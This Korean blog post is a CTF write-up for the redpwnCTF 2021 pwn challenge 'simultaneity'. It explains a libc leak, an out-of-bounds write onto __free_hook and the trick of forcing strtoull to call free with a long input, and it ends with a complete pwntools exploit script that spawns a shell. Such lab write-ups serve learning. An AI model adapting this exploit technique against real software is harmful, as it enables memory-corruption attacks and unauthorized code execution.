Sechack

redpwnCTF 2021 - simultaneity 본문

CTF

redpwnCTF 2021 - simultaneity

Sechack 2021. 7. 11. 20:21
반응형

트릭모르면 못푸는 문제이다. 나도 문제풀당시에는 트릭을 몰랐어서 너무 오래걸렸었다.

 

 

굉장히 심플한 프로그램이다. 하지만 scanf의 서식지정자로 %zu를 줬을때 scanf내부 로직을 모르면 못푸는 문제이다. 일단 libc leak은 대충 1000000정도로 크기 엄청 크게주면 mmap system call로 따로 공간을 할당해서 사용하고 이 영역은 libc와 offset이 일정하다는 특징을 이용해서 libc leak을 할 수가 있다. 그리고 oob가 발생해서 임의의 주소를 한번 덮을 수 있다. libc주소를 얻었으므로 덮을 수 있는곳은 많다. 일단 먼저 나는 문제에서 ld파일도 주길래 rtld overwrite를 시도했다. 하지만 exit가 아니라 _exit함수여서 결국에는 불가능했다. 남은건 vtable쪽 함수포인터 건드리거나 hook밖에 없는데 vtable은 현실적으로 불가능할것 같아서 hook위주로 삽질해봤다. 일단 scanf내부 로직을 파악해봤다.

 

 

 

보면 scanf함수 내부에서 strtoull함수를 사용하는것을 볼 수 있다. 이 함수를 이용해서 우리가 입력한 데이터를 정수로 바꾸는것 같다.

 

 

그리고 보이다시피 힙을 사용한다. 그래서 나는 이런 추측을 해보았다. 데이터를 엄청나게 많이주면 malloc이나 free를 호출하지 않을까? 라는 추측이다. 그래서 malloc hook을 덮고 "1"*0x5000 이런식으로 데이터를 보내줬다. 하지만 아무런 반응이 없었다. 그래서 한번 free hook을 덮고 똑같이 "1"*0x5000 이런식으로 데이터를 보내봤더니

 

 

위 사진에서 보이다시피 rip가 0xffffffffffffffff로 변조되었다. 그리고 이건 free hook의 값이다!! 오랜 시간의 삽질끝에 strtoull함수는 전달된 문자열이 엄청나게 길면 free함수를 호출한다는것을 발견한것이다. 이제 free hook에 원가젯 넣고 익스하면 된다. 근데 여기서 삽질을 꽤 많이 했다. 일단 아이디어는 잘 냈다. "0"*0x500+str(one_gadget) 이렇게 전달하면 앞에 0이 메모리를 잡아먹지만 0이기 때문에 free hook에 들어가는 값에 영향을 미치지 못한다.

 

process(["./ld-linux-x86-64.so.2", "./simultaneity"], env={"LD_PRELOAD":"./libc.so.6"})

 

나는 pwntools에서 이런식으로 문제에서 준 ld파일과 libc파일 가지고 프로그램을 실행시켰다.

 

 

그리고 첫번째 원가젯을 앞서 내가 말한 아이디어인 "0"*0x500+str(one_gadget)을 했을때 Segmentation fault가 나는게 아니라 exit(127)이 호출되면서 종료된것같았다. 이 메시지를 보고 나는 앞에 0을 많이 주면 strtoull함수에서 exit로 비정상 종료하는구나~~ 이런 이상한 고정관념을 가지고 다른방법을 찾기 시작했다. 하지만 다른방법을 백날 고민해봐야 찾을수가 없었다. 왜냐? 저게 정답이기때문... 다른방법을 찾다가 원래 아이디어로 원가젯 첫번째꺼 말고 두번째꺼를 넣어봤다.

 

 

Segmentation fault가 난다... free hook은 의도한대로 덮인거였다...ㅋㅋ 근데 로컬에서 원가젯 3개를 다 넣어봐도 안되는것이다... libc버전이 2.28인데 2.28버전에서는 내 경험상 one_gadget툴로 찾은 원가젯중에 하나는 먹힌다. 그래서 한번 remote로도 해봤는데 2번째 원가젯과 3번째 원가젯이 동작해서 셸이 따였다. 로안리되 인것이다...ㅋㅋ 아마 내생각에는 ld파일까지 같이 로드시킨다고

 

process(["./ld-linux-x86-64.so.2", "./simultaneity"], env={"LD_PRELOAD":"./libc.so.6"})

 

이런식으로 실행시킨게 원가젯 실패의 원인이 아닐까 싶다...

 

 

from pwn import *

#p = process(["./ld-linux-x86-64.so.2", "./simultaneity"], env={"LD_PRELOAD":"./libc.so.6"})
r = remote("mc.ax", 31547)
libc = ELF("./libc.so.6")

r.sendlineafter("big?\n", "1000000")

r.recvuntil("here: ")

leak = int(r.recv(14), 16)
libc_base = leak + 0xf5000 - 0x10
one_gadget = libc_base + 0x448a3
free_hook = libc_base + libc.sym["__free_hook"]

offset = (free_hook - leak) // 8

r.sendlineafter("far?\n", str(offset))
r.sendlineafter("what?\n", "0"*0x500+str(one_gadget))

r.interactive()

 

 

전체 페이로드이다.

 

 

아무튼 성공적으로 셸을 땄고 플래그를 얻었다.

 

 

 

 

 

(대회 중에 작성한 write up으로 대회가 끝날때가지 보호를 걸어놓았습니다.)

반응형

'CTF' 카테고리의 다른 글

SSTF 2021 - SW Expert Academy 풀이  (0) 2021.08.17
제 23회 해킹캠프 CTF write up  (2) 2021.08.15
HSCTF 8 - House of Sice 풀이  (0) 2021.06.20
HSCTF 8 - not-really-math 풀이  (0) 2021.06.19
HSCTF 8 - message-board 풀이  (0) 2021.06.19
Comments